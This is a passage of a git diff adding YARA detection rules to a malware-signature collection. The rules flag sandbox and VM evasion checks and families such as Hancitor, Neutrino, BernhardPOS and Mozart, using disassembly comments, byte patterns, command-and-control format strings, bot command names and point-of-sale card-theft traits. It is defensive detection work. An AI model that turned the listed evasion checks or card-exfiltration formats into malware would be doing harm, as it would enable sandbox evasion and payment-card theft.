+		$value = "SystemBiosVersion" nocase wide ascii
+		$data = "QEMU" wide nocase ascii
+	condition:
+		all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Nick Hoffman/Check_Qemu_DeviceMap.yar b/yara-mikesxrs/Nick Hoffman/Check_Qemu_DeviceMap.yar
new file mode 100644
index 0000000..1b59b8c
--- /dev/null
+++ b/yara-mikesxrs/Nick Hoffman/Check_Qemu_DeviceMap.yar	
@@ -0,0 +1,13 @@
+rule Check_Qemu_DeviceMap
+{
+	meta:
+		Author = "Nick Hoffman"
+		Description = "Checks for Qemu reg keys"
+		Sample = "de1af0e97e94859d372be7fcf3a5daa5"
+	strings:
+		$key = "HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 0\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0" nocase wide ascii
+		$value = "Identifier" nocase wide ascii
+		$data = "QEMU" wide nocase ascii
+	condition:
+		all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Nick Hoffman/Check_UserNames.yar b/yara-mikesxrs/Nick Hoffman/Check_UserNames.yar
new file mode 100644
index 0000000..8c5864b
--- /dev/null
+++ b/yara-mikesxrs/Nick Hoffman/Check_UserNames.yar	
@@ -0,0 +1,16 @@
+import "pe"
+rule Check_UserNames
+{
+	meta:
+		Author = "Nick Hoffman"
+		Description = "Looks for malware checking for common sandbox usernames"
+		Sample = "de1af0e97e94859d372be7fcf3a5daa5"
+	strings:
+		$user1 = "MALTEST" wide ascii
+		$user2 = "TEQUILABOOMBOOM" wide ascii
+		$user3 = "SANDBOX" wide ascii
+		$user4 = "VIRUS" wide ascii
+		$user5 = "MALWARE" wide ascii
+	condition:
+		all of ($user*)  and pe.imports("advapi32.dll","GetUserNameA")
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Nick Hoffman/Check_VBox_Description.yar b/yara-mikesxrs/Nick Hoffman/Check_VBox_Description.yar
new file mode 100644
index 0000000..b756ccc
--- /dev/null
+++ b/yara-mikesxrs/Nick Hoffman/Check_VBox_Description.yar	
@@ -0,0 +1,13 @@
+rule Check_VBox_Description
+{
+	meta:
+		Author = "Nick Hoffman"
+		Description = "Checks Vbox description reg key"
+		Sample = "de1af0e97e94859d372be7fcf3a5daa5"
+	strings:
+		$key = "HARDWARE\\Description\\System" nocase wide ascii
+		$value = "SystemBiosVersion" nocase wide ascii
+		$data = "VBOX" nocase wide ascii		
+	condition:
+		all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Nick Hoffman/Check_VBox_DeviceMap.yar b/yara-mikesxrs/Nick Hoffman/Check_VBox_DeviceMap.yar
new file mode 100644
index 0000000..2290055
--- /dev/null
+++ b/yara-mikesxrs/Nick Hoffman/Check_VBox_DeviceMap.yar	
@@ -0,0 +1,13 @@
+rule Check_VBox_DeviceMap
+{
+	meta:
+		Author = "Nick Hoffman"
+		Description = "Checks Vbox registry keys"
+		Sample = "de1af0e97e94859d372be7fcf3a5daa5"
+	strings:
+		$key = "HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 0\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0" nocase wide ascii
+		$value = "Identifier" nocase wide ascii
+		$data = "VBOX" nocase wide ascii
+	condition:
+		all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Nick Hoffman/Check_VBox_GuestAdditions.yar b/yara-mikesxrs/Nick Hoffman/Check_VBox_GuestAdditions.yar
new file mode 100644
index 0000000..4f94501
--- /dev/null
+++ b/yara-mikesxrs/Nick Hoffman/Check_VBox_GuestAdditions.yar	
@@ -0,0 +1,11 @@
+rule Check_VBox_Guest_Additions
+{
+	meta:
+		Author = "Nick Hoffman"
+		Description = "Checks for the existence of the guest additions registry key"
+		Sample = "de1af0e97e94859d372be7fcf3a5daa5"
+	strings:
+		$key = "SOFTWARE\\Oracle\\VirtualBox Guest Additions" wide ascii nocase
+	condition:
+		any of them	
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Nick Hoffman/Check_VBox_VideoDrivers.yar b/yara-mikesxrs/Nick Hoffman/Check_VBox_VideoDrivers.yar
new file mode 100644
index 0000000..94ce8cb
--- /dev/null
+++ b/yara-mikesxrs/Nick Hoffman/Check_VBox_VideoDrivers.yar	
@@ -0,0 +1,13 @@
+rule Check_VBox_VideoDrivers
+{
+	meta:
+		Author = "Nick Hoffman"
+		Description = "Checks for reg keys of Vbox video drivers"
+		Sample = "de1af0e97e94859d372be7fcf3a5daa5"
+	strings:
+		$key = "HARDWARE\\Description\\System" nocase wide ascii
+		$value = "VideoBiosVersion" wide nocase ascii
+		$data = "VIRTUALBOX" nocase wide ascii
+	condition:
+		all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Nick Hoffman/Check_VMWare.yar b/yara-mikesxrs/Nick Hoffman/Check_VMWare.yar
new file mode 100644
index 0000000..f77f17a
--- /dev/null
+++ b/yara-mikesxrs/Nick Hoffman/Check_VMWare.yar	
@@ -0,0 +1,13 @@
+rule Check_VMWare_DeviceMap
+{
+	meta:
+		Author = "Nick Hoffman"
+		Description = "Checks for the existence of VmWare Registry Keys"
+		Sample = "de1af0e97e94859d372be7fcf3a5daa5"
+	strings:
+		$key = "HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 0\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0" wide ascii nocase
+		$value = "Identifier" wide nocase ascii
+		$data = "VMware" wide nocase ascii
+	condition:
+		all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Nick Hoffman/Check_VmTools.yar b/yara-mikesxrs/Nick Hoffman/Check_VmTools.yar
new file mode 100644
index 0000000..bae1b0d
--- /dev/null
+++ b/yara-mikesxrs/Nick Hoffman/Check_VmTools.yar	
@@ -0,0 +1,11 @@
+rule Check_VmTools
+{
+	meta:
+		Author = "Nick Hoffman"
+		Description = "Checks for the existence of VmTools reg key"
+		Sample = "de1af0e97e94859d372be7fcf3a5daa5"
+	strings:
+		$tools = "SOFTWARE\\VMware, Inc.\\VMware Tools" nocase ascii wide
+	condition:
+		$tools
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Nick Hoffman/Check_Wine.yar b/yara-mikesxrs/Nick Hoffman/Check_Wine.yar
new file mode 100644
index 0000000..d8a3615
--- /dev/null
+++ b/yara-mikesxrs/Nick Hoffman/Check_Wine.yar	
@@ -0,0 +1,12 @@
+import "pe"
+rule Check_Wine
+{
+	meta:
+		Author = "Nick Hoffman"
+		Description = "Checks for the existence of Wine"
+		Sample = "de1af0e97e94859d372be7fcf3a5daa5"
+	strings:
+		$wine = "wine_get_unix_file_name"
+	condition:
+		$wine and pe.imports("kernel32.dll","GetModuleHandleA")
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Nick Hoffman/Dropper_Hancitor.yar b/yara-mikesxrs/Nick Hoffman/Dropper_Hancitor.yar
new file mode 100644
index 0000000..f49ac58
--- /dev/null
+++ b/yara-mikesxrs/Nick Hoffman/Dropper_Hancitor.yar	
@@ -0,0 +1,93 @@
+rule Dropper_Hancitor {
+  meta:
+    authors = "Nick Hoffman & Jeremy Humble - Morphick Inc."
+    last_update = "2016-08-19"
+    description = "rule to find unpacked Hancitor, useful against memory dumps"
+    hash = "587a530cc82ff01d6b2d387d9b558299b0eb36e7e2c274cd887caa39fcc47c6f"
+    ref = "http://www.morphick.com/resources/lab-blog/closer-look-hancitor"
+
+  strings:
+    /*
+    .text:00401C02 83 FA 3A                                      cmp     edx, ':'
+    .text:00401C05 75 6B                                         jnz     short loc_401C72
+    .text:00401C07 B8 01 00 00 00                                mov     eax, 1
+    .text:00401C0C 6B C8 00                                      imul    ecx, eax, 0
+    .text:00401C0F 8B 55 08                                      mov     edx, [ebp+arg_0]
+    .text:00401C12 0F BE 04 0A                                   movsx   eax, byte ptr [edx+ecx]
+    .text:00401C16 83 F8 72                                      cmp     eax, 'r'
+    .text:00401C19 74 50                                         jz      short loc_401C6B
+    .text:00401C1B B9 01 00 00 00                                mov     ecx, 1
+    .text:00401C20 6B D1 00                                      imul    edx, ecx, 0
+    .text:00401C23 8B 45 08                                      mov     eax, [ebp+arg_0]
+    .text:00401C26 0F BE 0C 10                                   movsx   ecx, byte ptr [eax+edx]
+    .text:00401C2A 83 F9 75                                      cmp     ecx, 'u'
+    .text:00401C2D 74 3C                                         jz      short loc_401C6B
+    .text:00401C2F BA 01 00 00 00                                mov     edx, 1
+    .text:00401C34 6B C2 00                                      imul    eax, edx, 0
+    .text:00401C37 8B 4D 08                                      mov     ecx, [ebp+arg_0]
+    .text:00401C3A 0F BE 14 01                                   movsx   edx, byte ptr [ecx+eax]
+    .text:00401C3E 83 FA 64                                      cmp     edx, 'd'
+    .text:00401C41 74 28                                         jz      short loc_401C6B
+    .text:00401C43 B8 01 00 00 00                                mov     eax, 1
+    .text:00401C48 6B C8 00                                      imul    ecx, eax, 0
+    .text:00401C4B 8B 55 08                                      mov     edx, [ebp+arg_0]
+    .text:00401C4E 0F BE 04 0A                                   movsx   eax, byte ptr [edx+ecx]
+    .text:00401C52 83 F8 6C                                      cmp     eax, 'l'
+    .text:00401C55 74 14                                         jz      short loc_401C6B
+    .text:00401C57 B9 01 00 00 00                                mov     ecx, 1
+    .text:00401C5C 6B D1 00                                      imul    edx, ecx, 0
+    .text:00401C5F 8B 45 08                                      mov     eax, [ebp+arg_0]
+    .text:00401C62 0F BE 0C 10                                   movsx   ecx, byte ptr [eax+edx]
+    .text:00401C66 83 F9 6E                                      cmp     ecx, 'n'
+    */
+
+    $arg_parsing = { 83 f? ( 3a | 6c | 64 | 75 | 74 ) 7? ?? b? 01 00 00 00 6b ?? 00 8b ?? 08 0f be 0? ?? }
+
+    /*   
+
+    .text:00401116 B8 01 00 00 00                                mov     eax, 1
+    .text:0040111B 85 C0                                         test    eax, eax
+    .text:0040111D 74 49                                         jz      short loc_401168
+    .text:0040111F 8B 0D 88 5B 40 00                             mov     ecx, dword_405B88
+    .text:00401125 0F BE 11                                      movsx   edx, byte ptr [ecx]
+    .text:00401128 83 FA 7C                                      cmp     edx, '|'
+    .text:0040112B 74 0C                                         jz      short loc_401139
+    .text:0040112D A1 88 5B 40 00                                mov     eax, dword_405B88
+    .text:00401132 0F BE 08                                      movsx   ecx, byte ptr [eax]
+    .text:00401135 85 C9                                         test    ecx, ecx
+    .text:00401137 75 08                                         jnz     short loc_401141
+
+    */
+
+    $pipe_delimit = { b8 01 00 00 00 85 c0 7? ?? 8b 0d ?? ?? ?? ?? 0f be 11 83 fa 7c 7? }
+
+    $fmt_string = "GUID=%I64u&BUILD=%s&INFO=%s&IP=%s&TYPE=1&WIN=%d.%d(%s)"
+
+    /*
+
+    .text:00401AEE 83 FA 3C                                      cmp     edx, '<'
+    .text:00401AF1 75 48                                         jnz     short loc_401B3B
+    .text:00401AF3 B8 01 00 00 00                                mov     eax, 1
+    .text:00401AF8 C1 E0 00                                      shl     eax, 0
+    .text:00401AFB 0F BE 8C 05 FC FD FF FF                       movsx   ecx, [ebp+eax+Buffer]
+    .text:00401B03 83 F9 21                                      cmp     ecx, '!'
+    .text:00401B06 75 33                                         jnz     short loc_401B3B
+    .text:00401B08 BA 01 00 00 00                                mov     edx, 1
+    .text:00401B0D D1 E2                                         shl     edx, 1
+    .text:00401B0F 0F BE 84 15 FC FD FF FF                       movsx   eax, [ebp+edx+Buffer]
+    .text:00401B17 83 F8 64                                      cmp     eax, 'd'
+    .text:00401B1A 75 1F                                         jnz     short loc_401B3B
+    .text:00401B1C B9 01 00 00 00                                mov     ecx, 1
+    .text:00401B21 6B D1 03                                      imul    edx, ecx, 3
+    .text:00401B24 0F BE 84 15 FC FD FF FF                       movsx   eax, [ebp+edx+Buffer]
+    .text:00401B2C 83 F8 6F                                      cmp     eax, 'o'
+
+    */
+
+    $connectivty_google_check = { 83 fa 3c 7? ?? b8 01 00 00 00 c1 e0 00 0f be 8c 05 fc fd ff ff 83 f9 21 7? ?? ba 01 00 00 00 d1 e2 0f be 84 15 fc fd ff ff 83 f8 64 7? ?? b9 01 00 00 00 6b d1 03 0f be 84 15 fc fd ff ff 83 f8 6f }
+
+  condition:
+
+    #arg_parsing > 1 or any of ($pipe_delimit, $fmt_string,$connectivty_google_check)
+
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Nick Hoffman/N3utrino.yar b/yara-mikesxrs/Nick Hoffman/N3utrino.yar
new file mode 100644
index 0000000..fd076c2
--- /dev/null
+++ b/yara-mikesxrs/Nick Hoffman/N3utrino.yar	
@@ -0,0 +1,24 @@
+rule N3utrino
+{
+    meta:
+        Author = "Nick Hoffman"
+        Description = "Detects versions of Neutrino malware"
+        ref = "http://www.morphick.com/resources/lab-blog/evening-n3utrino"
+
+    strings:
+        $post_host_information = "getcmd=1&uid=%s&os=%s&av=%s&nat=%s&version=%s&serial=%s&quality=%i"
+        $post_cc_information = "dumpgrab=1&track_type=%s&track_data=%s&process_name=%s"
+    $post_taskexec = "taskexec=1&task_id=%s"
+    $post_taskfail = "taskfail=1&task_id=%s"
+    
+        $command1 = "loader"
+        $command2 = "findfile"
+        $command3 = "spread"
+        $command4 = "archive"
+        $command5 = "usb"
+        $command6 = "botkiller"
+        $command7 = "dwflood"
+        $command8 = "keylogger"
+    condition:
+        4 of ($command*) or any of ($post*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Nick Hoffman/Nick_Hoffman_index.yara b/yara-mikesxrs/Nick Hoffman/Nick_Hoffman_index.yara
new file mode 100644
index 0000000..30b5a14
--- /dev/null
+++ b/yara-mikesxrs/Nick Hoffman/Nick_Hoffman_index.yara	
@@ -0,0 +1,311 @@
+
+
+import "pe"
+rule Check_Debugger
+{
+	meta:
+		Author = "Nick Hoffman"
+		Description = "Looks for both isDebuggerPresent and CheckRemoteDebuggerPresent"
+		Sample = "de1af0e97e94859d372be7fcf3a5daa5"
+	condition:
+		pe.imports("kernel32.dll","CheckRemoteDebuggerPresent") and 
+		pe.imports("kernel32.dll","IsDebuggerPresent")
+}
+rule Check_Dlls
+{
+	meta:
+		Author = "Nick Hoffman"
+		Description = "Checks for common sandbox dlls"
+		Sample = "de1af0e97e94859d372be7fcf3a5daa5"
+	strings:
+		$dll1 = "sbiedll.dll" wide nocase ascii fullword
+		$dll2 = "dbghelp.dll" wide nocase ascii fullword
+		$dll3 = "api_log.dll" wide nocase ascii fullword
+		$dll4 = "dir_watch.dll" wide nocase ascii fullword
+		$dll5 = "pstorec.dll" wide nocase ascii fullword
+		$dll6 = "vmcheck.dll" wide nocase ascii fullword
+		$dll7 = "wpespy.dll" wide nocase ascii fullword
+	condition:
+		2 of them
+}
+import "pe"
+rule Check_DriveSize
+{
+	meta:
+		Author = "Nick Hoffman"
+		Description = "Rule tries to catch uses of DeviceIOControl being used to get the drive size"
+		Sample = "de1af0e97e94859d372be7fcf3a5daa5"
+
+	strings:
+		$physicaldrive = "\\\\.\\PhysicalDrive0" wide ascii nocase
+		$dwIoControlCode = {68 5c 40 07 00 [0-5] FF 15} //push 7405ch ; push esi (handle) then call deviceoiocontrol IOCTL_DISK_GET_LENGTH_INFO	
+	condition:
+		pe.imports("kernel32.dll","CreateFileA") and 	
+		pe.imports("kernel32.dll","DeviceIoControl") and 
+		$dwIoControlCode and
+		$physicaldrive
+}
+import "pe"
+rule Check_FilePaths
+{
+	meta:
+		Author = "Nick Hoffman"
+		Description = "Checks for filepaths containing popular sandbox names"
+		Sample = "de1af0e97e94859d372be7fcf3a5daa5"
+	strings: 
+		$path1 = "SANDBOX" wide ascii
+		$path2 = "\\SAMPLE" wide ascii
+		$path3 = "\\VIRUS" wide ascii
+	condition:
+		all of ($path*) and pe.imports("kernel32.dll","GetModuleFileNameA")
+}
+rule Check_Qemu_Description
+{
+	meta:
+		Author = "Nick Hoffman"
+		Description = "Checks for QEMU systembiosversion key"
+		Sample = "de1af0e97e94859d372be7fcf3a5daa5"
+	strings:
+		$key = "HARDWARE\\Description\\System" nocase wide ascii
+		$value = "SystemBiosVersion" nocase wide ascii
+		$data = "QEMU" wide nocase ascii
+	condition:
+		all of them
+}
+rule Check_Qemu_DeviceMap
+{
+	meta:
+		Author = "Nick Hoffman"
+		Description = "Checks for Qemu reg keys"
+		Sample = "de1af0e97e94859d372be7fcf3a5daa5"
+	strings:
+		$key = "HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 0\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0" nocase wide ascii
+		$value = "Identifier" nocase wide ascii
+		$data = "QEMU" wide nocase ascii
+	condition:
+		all of them
+}
+import "pe"
+rule Check_UserNames
+{
+	meta:
+		Author = "Nick Hoffman"
+		Description = "Looks for malware checking for common sandbox usernames"
+		Sample = "de1af0e97e94859d372be7fcf3a5daa5"
+	strings:
+		$user1 = "MALTEST" wide ascii
+		$user2 = "TEQUILABOOMBOOM" wide ascii
+		$user3 = "SANDBOX" wide ascii
+		$user4 = "VIRUS" wide ascii
+		$user5 = "MALWARE" wide ascii
+	condition:
+		all of ($user*)  and pe.imports("advapi32.dll","GetUserNameA")
+}
+rule Check_VBox_Description
+{
+	meta:
+		Author = "Nick Hoffman"
+		Description = "Checks Vbox description reg key"
+		Sample = "de1af0e97e94859d372be7fcf3a5daa5"
+	strings:
+		$key = "HARDWARE\\Description\\System" nocase wide ascii
+		$value = "SystemBiosVersion" nocase wide ascii
+		$data = "VBOX" nocase wide ascii		
+	condition:
+		all of them
+}
+rule Check_VBox_DeviceMap
+{
+	meta:
+		Author = "Nick Hoffman"
+		Description = "Checks Vbox registry keys"
+		Sample = "de1af0e97e94859d372be7fcf3a5daa5"
+	strings:
+		$key = "HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 0\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0" nocase wide ascii
+		$value = "Identifier" nocase wide ascii
+		$data = "VBOX" nocase wide ascii
+	condition:
+		all of them
+}
+rule Check_VBox_Guest_Additions
+{
+	meta:
+		Author = "Nick Hoffman"
+		Description = "Checks for the existence of the guest additions registry key"
+		Sample = "de1af0e97e94859d372be7fcf3a5daa5"
+	strings:
+		$key = "SOFTWARE\\Oracle\\VirtualBox Guest Additions" wide ascii nocase
+	condition:
+		any of them	
+}
+rule Check_VBox_VideoDrivers
+{
+	meta:
+		Author = "Nick Hoffman"
+		Description = "Checks for reg keys of Vbox video drivers"
+		Sample = "de1af0e97e94859d372be7fcf3a5daa5"
+	strings:
+		$key = "HARDWARE\\Description\\System" nocase wide ascii
+		$value = "VideoBiosVersion" wide nocase ascii
+		$data = "VIRTUALBOX" nocase wide ascii
+	condition:
+		all of them
+}
+rule Check_VmTools
+{
+	meta:
+		Author = "Nick Hoffman"
+		Description = "Checks for the existence of VmTools reg key"
+		Sample = "de1af0e97e94859d372be7fcf3a5daa5"
+	strings:
+		$tools = "SOFTWARE\\VMware, Inc.\\VMware Tools" nocase ascii wide
+	condition:
+		$tools
+}
+rule Check_VMWare_DeviceMap
+{
+	meta:
+		Author = "Nick Hoffman"
+		Description = "Checks for the existence of VmWare Registry Keys"
+		Sample = "de1af0e97e94859d372be7fcf3a5daa5"
+	strings:
+		$key = "HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 0\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0" wide ascii nocase
+		$value = "Identifier" wide nocase ascii
+		$data = "VMware" wide nocase ascii
+	condition:
+		all of them
+}
+import "pe"
+rule Check_Wine
+{
+	meta:
+		Author = "Nick Hoffman"
+		Description = "Checks for the existence of Wine"
+		Sample = "de1af0e97e94859d372be7fcf3a5daa5"
+	strings:
+		$wine = "wine_get_unix_file_name"
+	condition:
+		$wine and pe.imports("kernel32.dll","GetModuleHandleA")
+}
+
+rule LogPOS
+{
+    meta:
+        author = "Nick Hoffman - Morphick Security"
+        description = "Detects Versions of LogPOS"
+        md5 = "af13e7583ed1b27c4ae219e344a37e2b"
+    strings:
+        $mailslot = "\\\\.\\mailslot\\LogCC"
+        $get = "GET /%s?encoding=%c&t=%c&cc=%I64d&process="
+        //64A130000000      mov eax, dword ptr fs:[0x30]
+        //8B400C        mov eax, dword ptr [eax + 0xc]
+        //8B401C        mov eax, dword ptr [eax + 0x1c]
+        //8B4008        mov eax, dword ptr [eax + 8]
+        $sc = {64 A1 30 00 00 00 8B 40 0C 8B 40 1C 8B 40 08 }
+    condition:
+        $sc and 1 of ($mailslot,$get)
+}
+
+rule BernhardPOS {
+   meta:
+     author = "Nick Hoffman / Jeremy Humble"
+     last_update = "2015-07-14"
+     source = "Morphick Inc."
+     description = "BernhardPOS Credit Card dumping tool"
+     reference = "http://morphick.com/blog/2015/7/14/bernhardpos-new-pos-malware-discovered-by-morphick"
+     md5 = "e49820ef02ba5308ff84e4c8c12e7c3d"
+   strings:
+     /*
+     33C0        xor    eax, eax
+     83C014        add    eax, 0x14
+     83E814        sub    eax, 0x14
+     64A130000000        mov    eax, dword ptr fs:[0x30]
+     83C028        add    eax, 0x28
+     83E828        sub    eax, 0x28
+     8B400C        mov    eax, dword ptr [eax + 0xc]
+     83C063        add    eax, 0x63
+     83E863        sub    eax, 0x63
+     8B4014        mov    eax, dword ptr [eax + 0x14]
+     83C078        add    eax, 0x78
+     83E878        sub    eax, 0x78
+     8B00        mov    eax, dword ptr [eax]
+     05DF030000        add    eax, 0x3df
+     2DDF030000        sub    eax, 0x3df
+     8B00        mov    eax, dword ptr [eax]
+     83C057        add    eax, 0x57
+     83E857        sub    eax, 0x57
+     8B4010        mov    eax, dword ptr [eax + 0x10]
+     83C063        add    eax, 0x63
+     */
+     $shellcode_kernel32_with_junk_code = { 33 c0 83 ?? ?? 83 ?? ?? 64 a1 30 00 00 00 83 ?? ?? 83 ?? ?? 8b 40 0c 83 ?? ?? 83 ?? ?? 8b 40 14 83 ?? ?? 83 ?? ?? 8b 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8b 00 83 ?? ?? 83 ?? ?? 8b 40 10 83 ?? ?? }
+     $mutex_name = "OPSEC_BERNHARD" 
+     $build_path = "C:\\bernhard\\Debug\\bernhard.pdb" 
+     /*
+     55        push    ebp
+     8BEC        mov    ebp, esp
+     83EC50        sub    esp, 0x50
+     53        push    ebx
+     56        push    esi
+     57        push    edi
+     A178404100        mov    eax, dword ptr [0x414078]
+     8945F8        mov    dword ptr [ebp - 8], eax
+     668B0D7C404100        mov    cx, word ptr [0x41407c]
+     66894DFC        mov    word ptr [ebp - 4], cx
+     8A157E404100        mov    dl, byte ptr [0x41407e]
+     8855FE        mov    byte ptr [ebp - 2], dl
+     8D45F8        lea    eax, dword ptr [ebp - 8]
+     50        push    eax
+     FF150CB04200        call    dword ptr [0x42b00c]
+     8945F0        mov    dword ptr [ebp - 0x10], eax
+     C745F400000000        mov    dword ptr [ebp - 0xc], 0
+     EB09        jmp    0x412864
+     8B45F4        mov    eax, dword ptr [ebp - 0xc]
+     83C001        add    eax, 1
+     8945F4        mov    dword ptr [ebp - 0xc], eax
+     8B4508        mov    eax, dword ptr [ebp + 8]
+     50        push    eax
+     FF150CB04200        call    dword ptr [0x42b00c]
+     3945F4        cmp    dword ptr [ebp - 0xc], eax
+     7D21        jge    0x412894
+     8B4508        mov    eax, dword ptr [ebp + 8]
+     0345F4        add    eax, dword ptr [ebp - 0xc]
+     0FBE08        movsx    ecx, byte ptr [eax]
+     8B45F4        mov    eax, dword ptr [ebp - 0xc]
+     99        cdq
+     F77DF0        idiv    dword ptr [ebp - 0x10]
+     0FBE5415F8        movsx    edx, byte ptr [ebp + edx - 8]
+     33CA        xor    ecx, edx
+     8B4508        mov    eax, dword ptr [ebp + 8]
+     0345F4        add    eax, dword ptr [ebp - 0xc]
+     8808        mov    byte ptr [eax], cl
+     EBC7        jmp    0x41285b
+     5F        pop    edi
+     5E        pop    esi
+     5B        pop    ebx
+     8BE5        mov    esp, ebp
+     5D        pop    ebp
+     */
+     $string_decode_routine = { 55 8b ec 83 ec 50 53 56 57 a1 ?? ?? ?? ?? 89 45 f8 66 8b 0d ?? ?? ?? ?? 66 89 4d fc 8a 15 ?? ?? ?? ?? 88 55 fe 8d 45 f8 50 ff ?? ?? ?? ?? ?? 89 45 f0 c7 45 f4 00 00 00 00 ?? ?? 8b 45 f4 83 c0 01 89 45 f4 8b 45 08 50 ff ?? ?? ?? ?? ?? 39 45 f4 ?? ?? 8b 45 08 03 45 f4 0f be 08 8b 45 f4 99 f7 7d f0 0f be 54 15 f8 33 ca 8b 45 08 03 45 f4 88 08 ?? ?? 5f 5e 5b 8b e5 5d }
+   condition:
+     any of them
+ }
+
+
+
+rule Mozart
+{
+   meta:
+       author = "Nick Hoffman - Morphick Inc"
+       description = "Detects samples of the Mozart POS RAM scraping utility"
+   strings:
+       $pdb = "z:\\Slender\\mozart\\mozart\\Release\\mozart.pdb" nocase wide ascii
+       $output = {67 61 72 62 61 67 65 2E 74 6D 70 00}
+       $service_name = "NCR SelfServ Platform Remote Monitor" nocase wide ascii
+       $service_name_short = "NCR_RemoteMonitor"
+       $encode_data = {B8 08 10 00 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 53 55 8B AC 24 14 10 00 00 89 84 24 0C 10 00 00 56 8B C5 33 F6 33 DB 8D 50 01 8D A4 24 00 00 00 00 8A 08 40 84 C9 ?? ?? 2B C2 89 44 24 0C ?? ?? 8B 94 24 1C 10 00 00 57 8B FD 2B FA 89 7C 24 10 ?? ?? 8B 7C 24 10 8A 04 17 02 86 E0 BA 40 00 88 02 B8 ?? ?? ?? ?? 46 8D 78 01 8D A4 24 00 00 00 00 8A 08 40 84 C9 ?? ?? 2B C7 3B F0 ?? ?? 33 F6 8B C5 43 42 8D 78 01 8A 08 40 84 C9 ?? ?? 2B C7 3B D8 ?? ?? 5F 8B B4 24 1C 10 00 00 8B C5 C6 04 33 00 8D 50 01 8A 08 40 84 C9 ?? ?? 8B 8C 24 20 10 00 00 2B C2 51 8D 54 24 14 52 50 56 E8 ?? ?? ?? ?? 83 C4 10 8B D6 5E 8D 44 24 0C 8B C8 5D 2B D1 5B 8A 08 88 0C 02 40 84 C9 ?? ?? 8B 8C 24 04 10 00 00 E8 ?? ?? ?? ?? 81 C4 08 10 00 00}
+   condition:
+      any of ($pdb, $output, $encode_data) or
+      all of ($service*)
+}
+
+
diff --git a/yara-mikesxrs/Nick Hoffman/bernhardpos.yar b/yara-mikesxrs/Nick Hoffman/bernhardpos.yar
new file mode 100644
index 0000000..19cbbf3
--- /dev/null
+++ b/yara-mikesxrs/Nick Hoffman/bernhardpos.yar	
@@ -0,0 +1,84 @@
+rule BernhardPOS {
+   meta:
+     author = "Nick Hoffman / Jeremy Humble"
+     last_update = "2015-07-14"
+     source = "Morphick Inc."
+     description = "BernhardPOS Credit Card dumping tool"
+     reference = "http://morphick.com/blog/2015/7/14/bernhardpos-new-pos-malware-discovered-by-morphick"
+     md5 = "e49820ef02ba5308ff84e4c8c12e7c3d"
+   strings:
+     /*
+     33C0        xor    eax, eax
+     83C014        add    eax, 0x14
+     83E814        sub    eax, 0x14
+     64A130000000        mov    eax, dword ptr fs:[0x30]
+     83C028        add    eax, 0x28
+     83E828        sub    eax, 0x28
+     8B400C        mov    eax, dword ptr [eax + 0xc]
+     83C063        add    eax, 0x63
+     83E863        sub    eax, 0x63
+     8B4014        mov    eax, dword ptr [eax + 0x14]
+     83C078        add    eax, 0x78
+     83E878        sub    eax, 0x78
+     8B00        mov    eax, dword ptr [eax]
+     05DF030000        add    eax, 0x3df
+     2DDF030000        sub    eax, 0x3df
+     8B00        mov    eax, dword ptr [eax]
+     83C057        add    eax, 0x57
+     83E857        sub    eax, 0x57
+     8B4010        mov    eax, dword ptr [eax + 0x10]
+     83C063        add    eax, 0x63
+     */
+     $shellcode_kernel32_with_junk_code = { 33 c0 83 ?? ?? 83 ?? ?? 64 a1 30 00 00 00 83 ?? ?? 83 ?? ?? 8b 40 0c 83 ?? ?? 83 ?? ?? 8b 40 14 83 ?? ?? 83 ?? ?? 8b 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8b 00 83 ?? ?? 83 ?? ?? 8b 40 10 83 ?? ?? }
+     $mutex_name = "OPSEC_BERNHARD" 
+     $build_path = "C:\\bernhard\\Debug\\bernhard.pdb" 
+     /*
+     55        push    ebp
+     8BEC        mov    ebp, esp
+     83EC50        sub    esp, 0x50
+     53        push    ebx
+     56        push    esi
+     57        push    edi
+     A178404100        mov    eax, dword ptr [0x414078]
+     8945F8        mov    dword ptr [ebp - 8], eax
+     668B0D7C404100        mov    cx, word ptr [0x41407c]
+     66894DFC        mov    word ptr [ebp - 4], cx
+     8A157E404100        mov    dl, byte ptr [0x41407e]
+     8855FE        mov    byte ptr [ebp - 2], dl
+     8D45F8        lea    eax, dword ptr [ebp - 8]
+     50        push    eax
+     FF150CB04200        call    dword ptr [0x42b00c]
+     8945F0        mov    dword ptr [ebp - 0x10], eax
+     C745F400000000        mov    dword ptr [ebp - 0xc], 0
+     EB09        jmp    0x412864
+     8B45F4        mov    eax, dword ptr [ebp - 0xc]
+     83C001        add    eax, 1
+     8945F4        mov    dword ptr [ebp - 0xc], eax
+     8B4508        mov    eax, dword ptr [ebp + 8]
+     50        push    eax
+     FF150CB04200        call    dword ptr [0x42b00c]
+     3945F4        cmp    dword ptr [ebp - 0xc], eax
+     7D21        jge    0x412894
+     8B4508        mov    eax, dword ptr [ebp + 8]
+     0345F4        add    eax, dword ptr [ebp - 0xc]
+     0FBE08        movsx    ecx, byte ptr [eax]
+     8B45F4        mov    eax, dword ptr [ebp - 0xc]
+     99        cdq
+     F77DF0        idiv    dword ptr [ebp - 0x10]
+     0FBE5415F8        movsx    edx, byte ptr [ebp + edx - 8]
+     33CA        xor    ecx, edx
